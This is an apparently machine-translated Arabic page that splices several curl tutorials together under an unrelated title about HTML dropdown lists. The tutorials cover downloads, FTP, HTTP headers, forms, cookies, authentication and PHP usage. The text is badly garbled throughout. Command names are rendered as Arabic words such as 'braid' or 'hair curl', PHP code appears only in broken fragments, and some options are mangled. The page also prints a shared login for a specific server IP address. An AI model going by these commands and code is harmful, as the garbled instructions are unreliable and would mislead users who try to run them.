إنشاء قائمة منسدلة في html. قوائم شجرة من الاختلافات المختلفة

إنشاء قائمة منسدلة في html. قوائم شجرة من الاختلافات المختلفة

يعد c URL أداة سطر أوامر مفيدة جدًا لنقل البيانات من الخادم أو إليه. يدعم Curl العديد من البروتوكولات مثل FILE وHTTP وHTTPS وIMAP وIMAPS وLDAP وDICT وLDAPS وTELNET وFTPS وGOPHER وRTMP وRTSP وSCP وSFTP وPOP3 وPOP3S وSMB وSMBS وSMTP وSMTPS وTFTP .

يمكن استخدام cURL بعدة طرق مختلفة ومثيرة للاهتمام. باستخدام هذه الأداة، يمكنك تنزيل الملفات وتحميلها وإدارتها والتحقق من عنوانك بريد إلكترونيأو حتى تحديث حالتك على بعض مواقع التواصل الاجتماعي أو التحقق من الطقس في الخارج. في هذه المقالة، سنلقي نظرة على الاستخدامات الخمسة الأساسية والأكثر فائدة لأداة cURL على أي تطبيق.

1. تحقق من عنوان URL

أحد الاستخدامات الأكثر شيوعًا والأبسط لـ cURL هو طباعة الأمر نفسه متبوعًا بعنوان URL الذي تريد اختباره

حليقة https://domain.ru

سيعرض هذا الأمر محتويات عنوان URL على جهازك الطرفي

2. احفظ مخرجات URL في ملف

موقع Curl -o https://domain.ru % الإجمالي % المستلم % Xferd متوسط ​​السرعة الوقت الوقت الوقت الحالي Dload تحميل إجمالي السرعة اليسرى المستهلكة 100 41793 0 41793 0 0 275k 0 --:--:-- - -:-- :-- --:--:-- 2.9 م

في هذا المثال، سيتم حفظ الإخراج في ملف يسمى "موقع الويب" في دليل العمل الحالي.

3. تحميل الملفات باستخدام Curl

يمكنك تنزيل الملفات باستخدام Curl عن طريق إضافة الخيار -o إلى الأمر. يتم استخدامه لحفظ الملفات إلى الملقم المحليبنفس الأسماء الموجودة على الخادم البعيد

حليقة -O https://domain.ru/file.zip

في هذا المثال، سيتم تنزيل الأرشيف "file.zip" إلى دليل العمل الحالي.

يمكنك أيضًا تحميل ملف باسم مختلف عن طريق إضافة الخيار -o إلى cURL.

الضفيرة -o archive.zip https://domain.ru/file.zip

لذلك سيتم تنزيل الأرشيف "file.zip" وحفظه باسم "Archive.zip".

يمكن أيضًا استخدام cURL لتنزيل ملفات متعددة مرة واحدة، كما هو موضح في المثال أدناه

الضفيرة -O https://domain.ru/file.zip -O https://domain.com/file2.zip

يمكن أيضًا استخدام Curl لتحميل الملفات بشكل آمن عبر SSH باستخدام الأمر التالي

الضفيرة -u المستخدم sftp://server.domain.ru/path/to/file

يرجى ملاحظة أنه يجب عليك استخدام مسار كاملإلى الملف الذي تريد تحميله

4. احصل على المعلومات من رأس HTTP الخاص بموقع الويب

يمكنك بسهولة الحصول على معلومات رأس HTTP من أي موقع ويب عن طريق إضافة الخيار -I ('i') إلى cURL.

Curl -I http://domain.ru HTTP/1.1 200 OK التاريخ: الأحد، 16 أكتوبر 2016 الساعة 23:37:15 بتوقيت جرينتش الخادم: Apache/2.4.23 (Unix) X-Powered-By: PHP/5.6.24 Connection : إغلاق نوع المحتوى: نص/أتش تي أم أل؛ مجموعة الأحرف = UTF-8

5. الوصول إلى خادم بروتوكول نقل الملفات

للوصول إلى خادم FTP باستخدام Curl، تحتاج إلى استخدام الأمر التالي

الضفيرة ftp://ftp.domain.ru - اسم مستخدم المستخدم: كلمة المرور

سوف يتصل Curl بخادم FTP ويدرج جميع الملفات والأدلة في الدليل الرئيسي للمستخدم

يمكنك تنزيل الملف باستخدام FTP

حليقة ftp://ftp.domain.ru/file.zip - اسم مستخدم المستخدم: كلمة المرور

وتحميل الملف إلى خادم FTP

Curl -T file.zip ftp://ftp.domain.ru/ --اسم مستخدم المستخدم:كلمة المرور

يمكنك التحقق من صفحة Curl يدويًا لرؤية جميع خيارات cURL المتاحة ووظائفها

رجل حليقة

ملاحظة.إذا أعجبك هذا المنشور، يرجى مشاركته مع أصدقائك على في الشبكات الاجتماعيةباستخدام الأزرار أدناه أو ببساطة ترك تعليق. شكرًا لك.

تفترض هذه المقالة أنك تعرف أساسيات الشبكات وHTML.

تعد القدرة على كتابة النصوص أمرًا ضروريًا عند بناء سلعة ما نظام الكمبيوتر. تعد قابلية توسيع أنظمة Unix باستخدام نصوص shell والبرامج المختلفة التي تنفذ الأوامر الآلية أحد أسباب نجاحها الكبير.

أدى العدد المتزايد من التطبيقات التي تنتقل إلى الويب إلى زيادة شعبية موضوع البرامج النصية لـ HTTP. تتمثل المهام المهمة في هذا المجال في استرداد المعلومات تلقائيًا من الإنترنت، أو إرسال البيانات أو تنزيلها إلى خوادم الويب، وما إلى ذلك.

Curl هي أداة سطر أوامر تتيح لك القيام بأنواع مختلفة من معالجة URL وعمليات النقل. تركز هذه المقالة على إنشاء طلبات HTTP بسيطة. من المفترض أنك تعرف بالفعل مكان الكتابة

# حليقة - مساعدة

# حليقة - دليل

للحصول على معلومات حول الضفيرة.

Curl ليست أداة من شأنها أن تفعل كل شيء من أجلك. يقوم بإنشاء الطلبات واستقبال البيانات وإرسال البيانات. قد تحتاج إلى نوع من "الصمغ" لربط كل شيء معًا، ربما بعض لغات البرمجة النصية (مثل bash) أو بعض الاستدعاءات اليدوية.

1. بروتوكول HTTP

HTTP هو بروتوكول يستخدم عند تلقي البيانات من خوادم الويب. هذا بروتوكول بسيط للغاية مبني على TCP/IP. يسمح البروتوكول أيضًا بإرسال المعلومات إلى الخادم من العميل باستخدام عدة طرق، كما سيتم توضيحه لاحقًا.

HTTP عبارة عن سلاسل من نص ASCII يتم إرسالها من العميل إلى الخادم لطلب بعض الإجراءات. عند تلقي الطلب، يستجيب الخادم للعميل بعدة أسطر نصية للخدمة، ثم بالمحتوى الفعلي.

باستخدام المفتاح curl -v، يمكنك رؤية الأوامر التي يرسلها curl إلى الخادم، بالإضافة إلى النصوص المعلوماتية الأخرى. ربما يكون رمز التبديل -v هو الطريقة الوحيدة لتصحيح أو حتى فهم التفاعل بين الضفيرة وخادم الويب.

2. عنوان URL

يحدد تنسيق URL (محدد موقع الموارد) عنوان مورد معين على الإنترنت. ربما تعرف هذا، على سبيل المثال عناوين URL: http://curl.haxx.se أو https://yourbank.com.

3. احصل على صفحة (GET).

إن طلب HTTP الأبسط والأكثر شيوعًا هو الحصول على محتويات عنوان URL. يمكن أن يرتبط عنوان URL بصفحة ويب أو صورة أو ملف. يرسل العميل طلب GET إلى الخادم ويتلقى المستند المطلوب. إذا قمت بتشغيل الأمر

# حليقة http://curl.haxx.se

سوف تحصل على إخراج صفحة الويب إلى نافذتك الطرفية. مستند HTML الكامل الموجود في عنوان URL هذا.

تحتوي جميع استجابات HTTP على مجموعة من الرؤوس التي تكون مخفية عادةً. لمشاهدتها مع المستند نفسه، استخدم خيار الضفيرة -i. يمكنك أيضًا طلب الرؤوس فقط باستخدام المفتاح -I (والذي سيجبر الضفيرة على تقديم طلب الرأس).

4. الأشكال

النماذج هي الطريقة الأساسية لعرض موقع الويب كصفحة HTML تحتوي على حقول يقوم المستخدم بإدخال البيانات فيها ثم ينقر على الزر "موافق" أو "إرسال"، وبعد ذلك يتم إرسال البيانات إلى الخادم. يستخدم الخادم بعد ذلك البيانات المستلمة ويقرر ما يجب فعله بعد ذلك: البحث عن المعلومات في قاعدة البيانات، أو إظهار العنوان المُدخل على الخريطة، أو إضافة رسالة خطأ، أو استخدام المعلومات لمصادقة المستخدم. بالطبع، هناك بعض البرامج على جانب الخادم التي تتلقى بياناتك.

4.1 احصل على

يستخدم نموذج GET طريقة GET، على سبيل المثال كما يلي:

إذا قمت بفتح هذا الرمز في متصفحك، فسترى نموذجًا يحتوي على حقل نصي وزر مكتوب عليه "موافق". إذا قمت بإدخال "1905" ثم قمت بالنقر فوق "موافق"، فسيقوم المتصفح بإنشاء عنوان URL جديد سيتبعه. سيتم تمثيل عنوان URL كسلسلة تتكون من مسار عنوان URL السابق وسلسلة مثل "junk.cgi?birthyear=1905&press=OK".

على سبيل المثال، إذا كان النموذج موجودًا في "www.hotmail.com/when/birth.html"، فإن النقر فوق "موافق" سينقلك إلى عنوان URL "www.hotmail.com/when/junk.cgi?birthyear=1905&press=OK" " .

غالبية محركات البحثالعمل بهذه الطريقة.

لجعل cur ينشئ طلب GET، ما عليك سوى إدخال ما تتوقعه من النموذج:

# حليقة "www.hotmail.com/when/junk.cgi?birthyear=1905&press=OK"

4.2 المشاركة

تؤدي طريقة GET إلى ظهور جميع المعلومات المدخلة في شريط العناوين في متصفحك. قد يكون هذا جيدًا عندما تحتاج إلى وضع إشارة مرجعية على صفحة ما، ولكنه يعد عيبًا واضحًا عند إدخال معلومات حساسة في حقول النموذج، أو عندما تكون كمية المعلومات المدخلة في الحقول كبيرة جدًا (مما يؤدي إلى عنوان URL غير قابل للقراءة).

يوفر بروتوكول HTTP طريقة POST. من خلاله، يرسل العميل البيانات بشكل منفصل عن عنوان URL وبالتالي لن تراها في شريط العناوين.

النموذج الذي يُنشئ طلب POST مشابه للنموذج السابق:

يمكن لـ Curl إنشاء طلب POST بنفس البيانات كما يلي:

# الضفيرة -d "birthyear=1905&press=%20OK%20" www.hotmail.com/when/junk.cgi

يستخدم طلب POST هذا "تطبيق نوع المحتوى/x-www-form-urlencoded"، وهو الأسلوب الأكثر استخدامًا.

يجب أن تكون البيانات التي ترسلها إلى الخادم مشفرة بشكل صحيح، ولن يقوم Curl بذلك نيابةً عنك. على سبيل المثال، إذا كنت تريد أن تحتوي البيانات على مسافة، فستحتاج إلى استبدال المسافة بـ %20، وما إلى ذلك. عدم الاهتمام بهذه القضية - خطأ عاممما يؤدي إلى نقل البيانات بشكل غير صحيح.

مرة أخرى في عام 1995 تم تحديد ذلك طريقة إضافيةنقل البيانات عبر HTTP. تم توثيقه في RFC 1867، لذلك يُطلق على هذه الطريقة أحيانًا اسم RFC1867-posting.

تم تصميم هذه الطريقة بشكل أساسي لدعم تحميل الملفات بشكل أفضل. يبدو النموذج الذي يسمح للمستخدم بتحميل ملف كما يلي في HTML:

لاحظ أنه تم تعيين نوع المحتوى على بيانات متعددة الأجزاء/النموذج.

لإرسال البيانات إلى هذا النموذج باستخدام الضفيرة، أدخل الأمر:

# الضفيرة -F upload=@localfilename -F اضغط=OK

4.4 الحقول المخفية

إحدى الطرق الشائعة لنقل معلومات الحالة في تطبيقات HTML هي استخدام الحقول المخفية في النماذج. لا يتم ملء الحقول المخفية، فهي غير مرئية للمستخدم ويتم إرسالها بنفس طريقة الحقول العادية.

مثال بسيط لنموذج يحتوي على حقل واحد مرئي وحقل واحد مخفي وزر موافق:

لإرسال طلب POST باستخدام الضفيرة، لا يتعين عليك التفكير فيما إذا كان الحقل مخفيًا أم لا. بالنسبة للضفيرة فهي كلها متشابهة:

# الضفيرة -d "birthyear=1905&press=OK&person=daniel"

4.5 اكتشف كيف يبدو طلب POST

عندما تريد ملء نموذج وإرسال البيانات إلى الخادم باستخدام حليقة، فمن المحتمل أنك تريد أن يبدو طلب POST تمامًا مثل الطلب الذي تم إجراؤه باستخدام المتصفح.

إحدى الطرق السهلة لرؤية طلب POST الخاص بك هي حفظ صفحة HTML مع النموذج على القرص، وتغيير الطريقة إلى GET، والنقر فوق الزر "إرسال" (يمكنك أيضًا تغيير عنوان URL الذي سيتم إرسال البيانات إليه).

ستشاهد البيانات المرفقة بعنوان URL، مفصولة بأحرف "؟"، كما هو متوقع عند استخدام نماذج GET.

5. ضع

ربما، أفضل طريقةيتم تحميل البيانات إلى خادم HTTP باستخدام PUT. مرة أخرى، يتطلب هذا برنامجًا (برنامجًا نصيًا) على الواجهة الخلفية يعرف ما يجب فعله وكيفية قبول تدفق HTTP PUT.

إرسال ملف إلى الخادم باستخدام الضفيرة:

# الضفيرة -T ملف التحميل www.uploadhttp.com/receive.cgi

6. المصادقة

المصادقة - تمرير اسم المستخدم وكلمة المرور إلى الخادم، وبعد ذلك يتم التحقق مما إذا كان لديك الحق في إكمال الطلب المطلوب. تعتمد المصادقة الأساسية (التي تستخدمها تقنية التجعيد افتراضيًا) على نص عادي، مما يعني أن اسم المستخدم وكلمة المرور لن يتم تشفيرهما، ولكن سيتم "تشويشهما" قليلاً باستخدام خوارزمية Base64، مما يتيح للمهاجمين الموجودين على المسار بينك وبينك إمكانية الوصول إلى النص العادي. معرفة هذه المعلومات خادم HTTP.

إخبار الضفيرة باستخدام اسم المستخدم وكلمة المرور:

# حليقة -u الاسم: كلمة المرور www.secrets.com

قد يتطلب الموقع استخدام طريقة مصادقة مختلفة (انظر إلى ما يكتبه الخادم في الرؤوس)، وفي هذه الحالات يمكنك استخدام مفاتيح --ntlm، --digest، --negotiate أو حتى --anyauth. في بعض الأحيان يتم الوصول إلى خوادم HTTP الخارجية من خلال وكيل، ويتم ذلك غالبًا في الشركات والمؤسسات. قد يتطلب وكيل HTTP اسم المستخدم وكلمة المرور الخاصين بك للوصول إلى الإنترنت. مفتاح الضفيرة المقابلة:

# الضفيرة -U proxyuser:proxypassword curl.haxx.se

إذا كان الوكيل يتطلب المصادقة باستخدام طريقة NTLM، فحدد --proxy-ntlm، إذا كانت طريقة Digest، فحدد --proxy-digest.

إذا لم تقم بتحديد كلمة مرور في الخيارين -u و -U، فسيطلب منك Curl ذلك بشكل تفاعلي.

لاحظ أنه عند تشغيل الضفيرة، قد تكون سلسلة بدء التشغيل (مع المفاتيح وكلمات المرور الخاصة بها) مرئية للمستخدمين الآخرين على نظامك في قائمة المهام. هناك طرق لمنع هذا. المزيد عن هذا أدناه.

7. المرجع

قد يتضمن طلب HTTP حقلاً "مرجعيًا"، يشير إلى عنوان URL الذي وصل منه المستخدم إلى هذا المورد. تتحقق بعض البرامج/النصوص البرمجية من حقل "المُحيل" ولا تنفذ الطلب إذا جاء المستخدم من صفحة غير معروفة. على الرغم من أن هذه طريقة غبية للتحقق، إلا أن العديد من البرامج النصية لا تزال تستخدمها. مع الضفيرة يمكنك وضع أي شيء في حقل "المرجع" وبالتالي جعله يفعل ما تريد.

هذا يفعل كما يلي:

# الضفيرة -e http://curl.haxx.se daniel.haxx.se

8. وكيل المستخدم

تدعم كافة طلبات HTTP حقل "وكيل المستخدم"، الذي يحدد تطبيق العميل الخاص بالمستخدم. تستخدم العديد من تطبيقات الويب هذه المعلومات لعرض الصفحة بطريقة أو بأخرى. يقوم مبرمجو الويب بإنشاء إصدارات متعددة من الصفحة للمستخدمين متصفحات مختلفةبهدف تحسين مظهر، باستخدام نصوص جافا سكريبت وvbscript وما إلى ذلك المختلفة.

في بعض الأحيان قد تجد أن الضفيرة تُرجع صفحة تختلف عن تلك التي رأيتها في متصفحك. في هذه الحالة، من المناسب استخدام حقل "وكيل المستخدم" لخداع الخادم مرة أخرى.

تمويه الضفيرة كما متصفح الانترنتعلى جهاز يعمل بنظام Windows 2000:

# الضفيرة -A "Mozilla/4.0 (متوافق؛ MSIE 5.01؛ Windows NT 5.0)"

لماذا لا تصبح Netscape 4.73 على جهاز Linux (PIIII):

# الضفيرة -A "Mozilla/4.73 (X11; U; Linux 2.2.15 i686)"

9. عمليات إعادة التوجيه

عند الاستجابة لطلبك، قد يعرض الخادم إشارة إلى المكان الذي يجب أن ينتقل إليه المتصفح بعد ذلك للوصول إلى الصفحة بدلاً من الصفحة نفسها. الصفحة المطلوبة. الرأس الذي يشير إلى إعادة التوجيه هذه إلى المتصفح هو "الموقع:".

افتراضيًا، لا ينتقل cur إلى العنوان المحدد في "الموقع:"، ولكنه يعرض الصفحة كالمعتاد. لكن يمكنك توجيهه هكذا:

# الضفيرة -L www.sitethatredirects.com

إذا كنت تستخدم الضفيرة لتقديم طلبات POST إلى موقع يعيد التوجيه فورًا إلى صفحة أخرى، فيمكنك استخدام المجموعة -L و -d/-F بأمان. سيقوم Curl بإنشاء طلب POST للصفحة الأولى، ثم طلب GET للصفحة التالية.

10. ملفات تعريف الارتباط

باستخدام ملفات تعريف الارتباط، تتحكم متصفحات الويب في الحالة من جانب العميل. ملف تعريف الارتباط هو اسم ذو محتوى مرفق. من خلال إرسال ملفات تعريف الارتباط، يخبر الخادم العميل بالمسار واسم المضيف الذي يجب إرسال ملفات تعريف الارتباط إليه في المرة القادمة، وعمر ملفات تعريف الارتباط وبعض المعلمات الأخرى.

عندما يتصل العميل بالخادم على العنوان المحدد في ملف تعريف الارتباط المقبول، يرسل العميل ملف تعريف الارتباط هذا إلى الخادم (إذا لم تنته مدة صلاحيته).

تستخدم العديد من التطبيقات والخوادم هذه الطريقة لدمج طلبات متعددة في جلسة منطقية واحدة. لكي يقوم Curl أيضًا بهذه الوظيفة، يجب أن نكون قادرين على تخزين ملفات تعريف الارتباط وإرسالها، تمامًا كما تفعل المتصفحات.

إن أبسط طريقة لإرسال ملف تعريف الارتباط إلى الخادم عند استرداد صفحة باستخدام الضفيرة هي إضافة المفتاح المناسب إليها سطر الأوامر:

# curl -b "name=Daniel" www.cookiesite.com

يتم إرسال ملفات تعريف الارتباط كرؤوس HTTP عادية. يتيح ذلك لـ curl حفظ ملفات تعريف الارتباط عن طريق الحفاظ على الرؤوس. يتم حفظ ملفات تعريف الارتباط باستخدام الضفيرة باستخدام الأمر:

# حليقة -D headers_and_cookies www.cookiesite.com

(بالمناسبة، لحفظ ملفات تعريف الارتباط، من الأفضل استخدام المفتاح -c، المزيد عن ذلك أدناه).

يحتوي curl على معالج ملفات تعريف الارتباط كامل الميزات، وهو مفيد عندما تريد الاتصال بالخادم مرة أخرى واستخدام ملفات تعريف الارتباط المحفوظة في المرة الأخيرة (أو تعديلها يدويًا). لاستخدام ملفات تعريف الارتباط المخزنة في ملف، قم باستدعاء cur مثل هذا:

# حليقة -b ملفات تعريف الارتباط المخزنة في ملف www.cookiesite.com

يتم تمكين "محرك ملفات تعريف الارتباط" الخاص بـ Curl عند تحديد رمز التبديل -b. إذا كنت تريد أن يقبل cur فقط ملفات تعريف الارتباط، فاستخدم -b لتحديد ملف غير موجود. على سبيل المثال، إذا كنت تريد أن يقبل curl ملفات تعريف الارتباط من صفحة ما ثم يتبع إعادة توجيه (ربما يتخلى عن ملف تعريف الارتباط الذي قبله للتو)، يمكنك استدعاء cur مثل هذا:

# حليقة -ب ندى -L www.cookiesite.com

يستطيع Curl قراءة وكتابة ملفات تعريف الارتباط بتنسيق Netscape وMozilla. هذا طريقة ملائمةتبادل ملفات تعريف الارتباط بين المتصفحات والبرامج النصية التلقائية. يحدد رمز التبديل -b تلقائيًا ما إذا كان هذا الملفملف تعريف الارتباط للمتصفحات المحددة ويتعامل معها وفقًا لذلك، وباستخدام المفتاح -c/--cookie-jar يمكنك إجبار cur على كتابة ملف تعريف ارتباط جديد عند اكتمال العملية:

# حليقة -b cookies.txt -c newcookies.txt www.cookiesite.com

11. HTTPS

هناك عدة طرق لتأمين عمليات نقل HTTP الخاصة بك. البروتوكول الأكثر شهرة الذي يحل هذه المشكلة هو HTTPS، أو HTTP عبر SSL. تقوم طبقة المقابس الآمنة (SSL) بتشفير جميع البيانات المرسلة والمستلمة عبر الشبكة، مما يزيد من احتمالية بقاء معلوماتك سرية.

يدعم Curl الطلبات المقدمة إلى خوادم HTTPS باستخدام مكتبة OpenSSL المجانية. الطلبات تحدث بالطريقة المعتادة:

# حليقة https://that.secure.server.com

11.1 الشهادات

في عالم HTTPS، يمكنك استخدام الشهادات بالإضافة إلى اسم المستخدم وكلمة المرور للمصادقة. يدعم Curl الشهادات من جانب العميل. يتم قفل جميع الشهادات بعبارة مرور تحتاج إلى إدخالها قبل أن يبدأ Curl في العمل معها. العبارة الرئيسيةيمكن تحديدها إما في سطر الأوامر أو إدخالها بشكل تفاعلي. يتم استخدام الشهادات في الضفيرة على النحو التالي:

# الضفيرة -E mycert.pem https://that.secure.server.com

يتحقق Curl أيضًا من صحة الخادم عن طريق التحقق من شهادة الخادم ومقارنتها بشهادة مخزنة محليًا. إذا كان هناك تناقض، فسوف يرفض الضفيرة الاتصال. لتجاهل عمليات التحقق من المصادقة، استخدم رمز التبديل -k.

أكثر معلومات مفصلةحول الشهادات يمكن العثور عليها على http://curl.haxx.se/docs/sslcerts.html.

12. رؤوس الطلبات المخصصة

قد تحتاج إلى تغيير أو إضافة عناصر لطلبات التجعيد الفردية.

على سبيل المثال، يمكنك التغيير طلب ما بعدإلى PROPFIND وإرسال البيانات كـ "نوع المحتوى: نص/xml" (بدلاً من نوع المحتوى العادي):

# حليقة -د " " -H "نوع المحتوى: نص/xml" -X PROPFIND url.com

يمكنك إزالة عنوان عن طريق تحديده بدون محتوى. على سبيل المثال، يمكنك إزالة رأس "المضيف:"، مما يجعل الطلب "فارغًا":

# الضفيرة -H "المضيف:" http://mysite.com

يمكنك أيضًا إضافة العناوين. قد يحتاج خادمك إلى رأس "الوجهة:":

# الضفيرة -H "الوجهة: http://moo.com/nowhere" http://url.com

13. التصحيح

غالبًا ما يحدث أن يستجيب الموقع لطلبات التجعيد بشكل مختلف عن طلبات المتصفح. في هذه الحالة، تحتاج إلى جعل الضفيرة مشابهة قدر الإمكان للمتصفح:

  • استخدم رمز التبديل --trace-ascii لحفظ سجل تفصيلي للاستعلامات حتى تتمكن من فحصها بالتفصيل وفهم المشكلة.
  • تأكد من التحقق من ملفات تعريف الارتباط واستخدامها إذا لزم الأمر (اقرأ -b واحفظ -c)
  • حدد أحد أحدث المتصفحات الشائعة في حقل "وكيل المستخدم".
  • املأ حقل "المُحيل" كما يفعل المتصفح
  • إذا كنت تستخدم طلبات POST، فتأكد من إرسال جميع الحقول بنفس ترتيب المتصفح (انظر النقطة 4.5 أعلاه)

المساعد الجيد في هذه المهمة الصعبة هو المكون الإضافي LiveHTTPHeader لـ Mozilla/Firefox، والذي يسمح لك بعرض جميع الرؤوس التي يرسلها ويستقبلها هذا المتصفح (حتى عند استخدام HTTPS).

تتمثل الطريقة ذات المستوى الأدنى في التقاط حركة مرور HTTP على الشبكة باستخدام برامج مثل ethereal أو tcpdump، ثم تحليل الرؤوس التي تم استلامها وإرسالها بواسطة المتصفح (HTTPS يجعل هذا الأسلوب غير فعال).

مطلوب قراءة RFC 2616 لأي شخص يريد فهم بروتوكول HTTP.

يشرح RFC 2396 بناء جملة URL.

يحدد RFC 2109 كيفية عمل ملفات تعريف الارتباط.

يحدد RFC 1867 تنسيق نشر تحميل الملف.

http://openssl.planetmirror.com - الصفحة الرئيسيةمشروع OpenSSL

http://curl.haxx.se - الصفحة الرئيسية لمشروع cURL

مثال عملي حقيقي: تحتاج إلى إعادة تشغيل جهاز التوجيه (المودم) لتغيير عنوان IP. للقيام بذلك، تحتاج إلى: تسجيل الدخول إلى جهاز التوجيه، والانتقال إلى صفحة الصيانة والنقر على زر "إعادة التشغيل". إذا كان من الضروري تنفيذ هذا الإجراء عدة مرات، فيجب تكرار الإجراء. أوافق على أنك لا تريد القيام بهذا الروتين يدويًا في كل مرة. يتيح لك cURL أتمتة كل هذا. باستخدام عدد قليل فقط من أوامر cURL، يمكنك الحصول على الترخيص وإكمال المهمة على جهاز التوجيه.

  • يعد cURL مفيدًا لاسترداد البيانات من مواقع الويب الموجودة على سطر الأوامر.
مثال عملي آخر: نريد تنفيذ عرض الإحصائيات العامة لعدة مواقع. إذا استخدمنا cURL، فستصبح هذه مهمة تافهة تمامًا: باستخدام cURL نقوم بالمصادقة على خدمة جمع الإحصائيات (إذا لزم الأمر)، ثم (مرة أخرى باستخدام أوامر cURL) نحصل على الصفحات الضرورية، ونحلل البيانات التي نحتاجها؛ يتم تكرار الإجراء لجميع مواقعنا، ثم نقوم بإضافة وعرض النتيجة النهائية.

أولئك. تعتبر حالات استخدام cURL حقيقية تمامًا، على الرغم من أن المبرمجين الذين يستخدمونها في برامجهم يحتاجون إلى cURL في الغالب.

يدعم CURL العديد من البروتوكولات وطرق الترخيص، ويمكنه نقل الملفات، ويعمل بشكل صحيح مع ملفات تعريف الارتباط، ويدعم شهادات SSL، والوكلاء، وغير ذلك الكثير.

cURL في PHP وسطر الأوامر

يمكننا استخدام cURL بطريقتين رئيسيتين: في نصوص PHP وفي سطر الأوامر.

لتمكين cURL في PHP على الخادم، تحتاج إلى إلغاء التعليق على السطر الموجود في ملف php.ini

الامتداد=php_curl.dll

ومن ثم إعادة تشغيل الخادم.

في نظام التشغيل Linux، تحتاج إلى تثبيت حزمة الضفيرة.

على أنظمة Debian أو Ubuntu أو Linux Mint:

$ sudo apt-get install curl


على Fedora أو CentOS أو RHEL:

$ سودو يم تثبيت الضفيرة

لكي نرى بوضوح الفرق بين الاستخدام في PHP وفي سطر الأوامر، سنقوم بتنفيذ نفس المهام مرتين: أولاً PHP النصيثم على سطر الأوامر. دعونا نحاول عدم الخلط.

استرجاع البيانات باستخدام cURL

استرداد البيانات باستخدام cURL في PHP

مثال في PHP:

كل شيء بسيط للغاية:
$target_url- عنوان الموقع الذي يهمنا. بعد عنوان الموقع، يمكنك وضع نقطتين وإضافة عنوان المنفذ (إذا كان المنفذ مختلفًا عن المنفذ القياسي).

curl_init- تهيئة جلسة جديدة وإرجاع المقبض، والذي تم تخصيصه في مثالنا لمتغير $ch.

نقوم بعد ذلك بتنفيذ الطلب باستخدام وظيفة cURL curl_exec، حيث يتم تمرير الواصف كمعلمة.

كل شيء منطقي للغاية، ولكن عند تنفيذ هذا البرنامج النصي، سيتم عرض محتويات الموقع على صفحتنا. ولكن ماذا لو لم نرغب في عرض المحتوى، ولكننا نريد كتابته في متغير (للمعالجة أو التحليل اللاحق).

دعونا نضيف قليلا إلى السيناريو الخاص بنا:

0) ( صدى "خطأ في الضفيرة: " . curl_error($ch); ) curl_ Close($ch); ?>

لدينا خط curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);.

curl_setopt- يحدد الخيارات. القائمة الكاملةالخيارات متاحة على هذه الصفحة:

مخفية عن الضيوف

$response_data = curl_exec($ch);

الآن تم تعيين قيمة البرنامج النصي للمتغير $response_data، والذي يمكن من خلاله إجراء المزيد من العمليات. على سبيل المثال، يمكنك عرض محتوياته.

غرز

إذا (curl_errno($ch) > 0) ( echo "خطأ في الضفيرة: " . curl_error($ch); )

يعمل على تصحيح الأخطاء في حالة حدوث أخطاء.

استرداد البيانات باستخدام cURL في سطر الأوامر

في سطر الأوامر، فقط اكتب

حيث بدلا من mi-al.ru- عنوان موقع الويب الخاص بك.

إذا كنت بحاجة إلى نسخ البيانات إلى متغير بدلاً من عرض النتيجة على الشاشة، فقم بما يلي:

درجة الحرارة = "curl mi-al.ru"

ومع ذلك، لا يزال يتم عرض بعض البيانات:

لمنع عرضها، قم بإضافة المفتاح :

درجة الحرارة = "curl -s mi-al.ru"

ويمكنك مشاهدة ما تم تسجيله:

صدى $ درجة الحرارة | أقل

المصادقة الأساسية وHTTP

المصادقة، ببساطة، هي إدخال اسم المستخدم وكلمة المرور.

المصادقة الأساسية هي المصادقة المستندة إلى الخادم. ولهذا يتم إنشاء ملفين: .htaccessو .htpasswd

محتويات ملف .htaccess هي شيء من هذا القبيل

AuthName "للمستخدمين المسجلين فقط!" يتطلب AuthType Basic مستخدمًا صالحًا AuthUserFile /home/freeforum.biz/htdocs/.htpassw


محتويات ملف .htpasswd هي كالتالي:

ميال:CRdiI.ZrZQRRc

أولئك. تسجيل الدخول وتجزئة كلمة المرور.

عند محاولة الوصول إلى مجلد محمي بكلمة مرور، سيعرض المتصفح شيئًا مثل هذا:

مصادقة HTTP هي الحالة عندما نقوم بإدخال معلومات تسجيل الدخول وكلمة المرور في نموذج على موقع ويب. يتم استخدام هذه المصادقة عند تسجيل الدخول إلى البريد والمنتديات وما إلى ذلك.

مصادقة cURL الأساسية (PHP)

هناك موقع على الانترنت

مخفية عن الضيوف

دعونا نجرب السيناريو الأولي لدينا:

0) ( echo "خطأ في الضفيرة: " . curl_error($ch); ) else ( echo $response_data; ) curl_ Close($ch); ?>

على الرغم من أن البرنامج النصي يعتقد أنه لا يوجد خطأ، إلا أننا لا نحب النتيجة على الإطلاق:

أضف سطرين:

Curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, "ru-board:ru-board");

في السطر الأول قمنا بتعيين نوع المصادقة - أساسي. يحتوي السطر الثاني على الاسم وكلمة المرور مفصولين بنقطتين (في حالتنا، الاسم وكلمة المرور متماثلان - ru-board). اتضح مثل هذا:

0) ( echo "خطأ في الضفيرة: " . curl_error($ch); ) else ( echo $response_data; ) curl_ Close($ch); ?> دعنا نحاول: 30946 عظيم! مصادقة cURL الأساسية (في سطر الأوامر) يمكن تحقيق نفس الشيء في سطر الأوامر بسطر واحد: curl -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/

لم أنس تحديد نوع المصادقة، كل ما في الأمر هو أن نوع المصادقة الأساسي في cURL هو النوع الافتراضي.

تم كل شيء بسرعة كبيرة في سطر الأوامر لدرجة أنني كتبت البرنامج التالي بسبب الإحباط. تتصل بالموقع وتقوم بتنزيل آخر تحديث:

Temp=`curl -s -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/ | grep -E -o "Update_FED_201(1).(2).(2).7z" | يونيك | الذيل - ن 1`؛ حليقة -o $temp -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/$temp

مع عدد قليل من الأوامر الأخرى يمكنك إضافة:

  • تفريغ الأرشيف في الدليل المحدد؛
  • إطلاق تحديثات ConsultantPlus (هذه تحديثات له)؛
  • يمكنك التحقق مما إذا كان قد تم بالفعل تنزيل آخر تحديث متاح أو ظهور تحديث جديد؛
  • أضف كل ذلك إلى Cron للحصول على التحديثات اليومية.
URL لمصادقة HTTP

مصادقة HTTP cURL في PHP

نحن بحاجة إلى معرفة:

  • العنوان حيث سيتم إرسال بيانات المصادقة
  • طريقة الإرسال GET أو POST
  • تسجيل الدخول
  • كلمة المرور
في بعض الأحيان هذه البيانات ليست كافية. دعونا معرفة ذلك.

